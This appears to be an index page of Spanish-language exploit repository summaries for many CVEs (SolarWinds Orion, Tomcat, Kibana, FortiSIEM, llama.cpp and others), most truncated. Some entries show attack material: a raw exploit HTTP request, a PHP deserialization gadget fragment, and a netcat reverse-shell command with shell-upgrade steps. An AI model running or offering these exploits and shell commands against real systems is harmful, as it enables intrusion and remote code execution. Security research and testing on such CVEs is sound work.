CVE-2021-35215

CVE-2021-35215 SolarWinds Orion Platform ActionPluginBaseView Deserialization RCE, requires login. PoC POST /Orion/RenderControl.aspx HTTP/1.1 Host: 192.168.137.130:8787 Content-Length: 3648 Cache-Control: max-age=0 Origin: http://192.168.137.130:8787 Upgrade-Insecure-Requests: 1 DNT: 1...

CVE-2025-24813-PoC

CVE-2025-24813-PoC Script de detección masiva de la vulnerabilidad de ejecución remota de código en Apache Tomcat CVE-2025-24813 Descargo de responsabilidad: La vulnerabilidad descrita en este documento y sus pasos de reproducción se proporcionan únicamente con fines de investigación y educación ...

CVE-2026-27475

CVE-2026-27475 CVSS-B 9.2 CRÍTICO Deserialización insegura autenticada en SPIP 4.4.8 Explicaciones y más en mi sitio web RCE Gadget Attacker plugins/rcegadget/rcegadgetoptions.php DEBUG:\n"; echo "File: "; vardump$this-file; echo "Data: "; vardump$this-data; echo ""; fileputcontents$this-file,...

CVE-2026-23744

CVE-2026-23744 Descripción MCPJam inspector es una plataforma de desarrollo local-first para servidores MCP. Las versiones =1.4.2 son vulnerables a una vulnerabilidad de ejecución remota de código, que permite a un atacante enviar una solicitud HTTP manipulada que desencadena la instalación de un...

cve-2019-7609

CVE-2019-7609 Exploit para CVE-2019-7609 escrito en python3.6+ basado en el código de LandGrey. CVE-2019-7609 : RCE en versiones de Kibana anteriores a 5.6.15 y 6.6.0 en el visualizador Timelion. Uso 1. Inicia un listener 2. Ejecuta el exploit con la url objetivo url base del servidor kiba, la...

CVE-2023-50564

CVE-2023-50564 📌 Descripción Este exploit permite a un administrador autenticado en Pluck CMS v4.7.18 cargar un módulo ZIP malicioso que contiene un shell PHP, resultando en ejecución remota de código RCE. ⚙️ Características Autentica en el objetivo usando un nombre de usuario y contraseña válidos...

CVE-2026-12485

🚨 CVE-2026-12485 - Ejecución Remota de Código RCE Crítica sin Autenticación GeoVision GV-I/O Box 4E – Firmware v2.09 Fecha de divulgación: 23 de junio de 2026 CWE: CWE-121 – Desbordamiento de búfer basado en pila Vector de ataque: Red sin autenticación Una vulnerabilidad de desbordamiento de búfe...

CVE-2025-25257-Exploit-Tool

Herramienta de Explotación CVE-2025-25257 Créditos Based on watchTowr Labs, 0xbigshaq, and pwner.gg analyses. Advertencias For educational purposes only. Use on authorized systems. Modifies database/filesystem. Herramienta Python mejorada para detectar y explotar CVE-2025-25257 SQLi sin...

CVE-2025-1974

CVE-2025-1974 — IngressNightmare ingress-nginx Introducción Este documento presenta la investigación de la vulnerabilidad CVE-2025-1974 , que afecta al componente ingress-nginx validating admission controller para Kubernetes. CVE-2025-1974 es una vulnerabilidad crítica CVSS 3.1 9.8, que consiste ...

CVE-2025-64155

CVE-2025-64155: Inyección de Argumentos en Fortinet FortiSIEM para Ejecución Remota de Código Exploit de prueba de concepto para Fortinet FortiSIEM que abusa de una inyección de argumentos para escribir un archivo y obtener ejecución de código como root Blog Post Análisis en profundidad aquí:...

CVE-2018-4121

CVE-2018-4121 - Exploit de RCE POC de Secciones Wasm de Safari por MWR Labs c 2018 Detalles este exploit de prueba de concepto apunta únicamente a Safari 11.0.3 13604.5.6 en macOS 10.13.3 17D47. compile el payload de su elección como un dylib con un constructor ejecute python filetojsarray.py...

CVE-2025-24893

Reverse shell para CVE-2025-24893 python3 CVE-2025-24893.py -u http://wiki.editor.htb/ -c "busybox nc -e /bin/bash" mejorar la shell 1. python3 -c 'import pty; pty.spawn"/bin/bash"' 2. ctrl + z 3. stty size 4. stty raw -echo; fg 5. stty rows x columns y 6. export TERM=xterm...

CVE-2020-11108-PoC

CVE-2020-11108-PoC En este repositorio hay dos PoCs. cve-2020-11108-rce.py te dará una shell como el usuario www-data. root-cve-2020-11108-rce.py te dará una shell y escalará privilegios a root. Nota: Esto es destructivo, ya que debemos sobrescribir teleporter.php. Para una explicación...

CVE-2021-31630

OpenPLC WebServer v3 - RCE Autenticado CVE-2021-31630 Este exploit está basado en el exploit de Exploit-DB hecho por Fellipe Oliveira. Primero, autenticarse Subir un archivo C malicioso Compilarlo Iniciar el PLC iniciar reverse shell Detener el PLC no es necesario ejecutarlo, la reverse shell ya ...

CVE-2022-31626

CVE-2022-31626 En las versiones de PHP 7.4.x anteriores a 7.4.30, 8.0.x anteriores a 8.0.20 y 8.1.x anteriores a 8.1.7, cuando la extensión pdomysql utiliza el controlador mysqlnd, si se permite que un tercero proporcione el host al que conectarse y la contraseña de la conexión, una contraseña de...

CVE-2022-22980

CVE-2022-22980 Inyección de Expresión SpEL en Spring Data MongoDB MongoDB es una base de datos NoSQL orientada a documentos, con la escalabilidad y flexibilidad que se utiliza para el almacenamiento de grandes volúmenes de datos. En lugar de usar tablas y filas como en las bases de datos...

CVE-2023-24489-ShareFile

ShareFile RCE CVE-2023-24489 Este es un script en Python que explota una vulnerabilidad de ejecución remota de código en la aplicación ShareFile CVE-2023-24489. Esta vulnerabilidad permite a un atacante ejecutar comandos arbitrarios en el sistema objetivo. Uso Para usar el script, siga las...

CVE-2025-9216

StoreEngine – Potente plugin de eCommerce de WordPress para Pagos, Membresías, Afiliados, Ventas y Más = 1.4.0 - Carga Arbitraria de Archivos Autenticada Suscriptor+ El plugin StoreEngine contiene una vulnerabilidad en su función de Importación/Exportación CSV que permite a cualquier usuario...

PocList

PocList Colección de POC y EXP de vulnerabilidades escritos por mí. Cuando se especifica un archivo de url en el script POC, puede escanear objetivos en lotes con múltiples hilos para verificar; el script EXP puede explotar vulnerabilidades, como lectura de archivos, subida de troyanos, ejecución...

CVE-2026-34159

CVE-2026-34159 Exploit RCE de 0 clics para CVE-2026-34159 en el servidor RPC Lama.cpp versión b8487 exploit fue desarrollado por Hassan Ali @Casp3r0x0 puedes encontrar el artículo completo en https://www.pwntricks.com/ZeroClick-RCE-CVE-2026-34159-llama.cpp...